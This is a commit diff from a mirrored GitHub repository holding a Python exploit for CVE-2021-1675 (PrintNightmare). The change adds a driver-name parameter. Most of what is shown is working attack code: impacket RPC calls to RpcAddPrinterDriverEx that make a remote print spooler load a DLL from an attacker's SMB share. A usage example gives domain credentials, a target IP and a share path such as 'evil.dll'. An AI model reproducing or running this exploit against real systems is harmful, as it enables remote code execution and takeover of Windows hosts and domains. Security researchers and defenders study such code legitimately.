1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-23 03:06:33 +00:00

Add parameter for driver name

This commit is contained in:
citronneur 2021-07-04 10:12:51 +02:00
parent b33e65a34e
commit d1b9fdd723

View file

@ -66,13 +66,13 @@ def getDrivers(dce, handle=NULL):
return blob return blob
def main(dce, pDriverPath, share, handle=NULL): def main(dce, pDriverPath, name, share, handle=NULL):
#build DRIVER_CONTAINER package #build DRIVER_CONTAINER package
container_info = rprn.DRIVER_CONTAINER() container_info = rprn.DRIVER_CONTAINER()
container_info['Level'] = 2 container_info['Level'] = 2
container_info['DriverInfo']['tag'] = 2 container_info['DriverInfo']['tag'] = 2
container_info['DriverInfo']['Level2']['cVersion'] = 3 container_info['DriverInfo']['Level2']['cVersion'] = 3
container_info['DriverInfo']['Level2']['pName'] = "Stage0\x00" container_info['DriverInfo']['Level2']['pName'] = "{0}0\x00".format(name)
container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00"
container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00'
container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share)
@ -85,7 +85,7 @@ def main(dce, pDriverPath, share, handle=NULL):
print("[*] Stage0: {0}".format(resp['ErrorCode'])) print("[*] Stage0: {0}".format(resp['ErrorCode']))
# Just ask for a new driver with already installed files # Just ask for a new driver with already installed files
container_info['DriverInfo']['Level2']['pName'] = "Stage1\x00" container_info['DriverInfo']['Level2']['pName'] = "{0}1\x00".format(name)
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename) container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename)
flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000 flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
@ -102,6 +102,7 @@ Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'
""") """)
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('name', action='store', help='name of driver [need to be unique on target]')
parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'') parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'')
parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?") parser.add_argument('pDriverPath', action='store', help='Driver path. Example \'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL\'', nargs="?")
group = parser.add_argument_group('authentication') group = parser.add_argument_group('authentication')
@ -167,4 +168,4 @@ Example;
print("[+] pDriverPath Found {0}".format(pDriverPath)) print("[+] pDriverPath Found {0}".format(pDriverPath))
print("[*] Executing {0}".format(options.share)) print("[*] Executing {0}".format(options.share))
main(dce, pDriverPath, options.share) main(dce, pDriverPath, options.name, options.share)